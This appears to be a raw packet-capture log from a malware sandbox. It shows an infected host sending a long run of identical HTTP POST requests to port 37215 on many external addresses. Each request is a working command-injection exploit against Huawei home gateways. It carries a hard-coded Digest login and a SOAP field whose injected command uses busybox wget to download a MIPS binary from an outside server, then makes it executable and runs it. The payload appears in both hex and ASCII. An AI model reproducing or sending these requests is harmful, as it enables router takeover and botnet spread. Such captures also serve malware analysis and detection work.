Dec 3, 2024 22:02:06.055438042 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	60746	41.163.239.113	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.056087017 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	52764	156.8.122.245	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.056775093 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	55894	41.154.31.154	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.057459116 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	58744	197.71.140.80	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.058093071 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	48542	197.217.251.3	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.058736086 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	54814	197.198.132.132	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.059354067 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	49780	156.55.125.14	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.059988976 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	35364	156.161.126.173	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.060614109 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	43002	156.183.203.242	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.061253071 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	44306	197.152.168.4	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.061897039 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 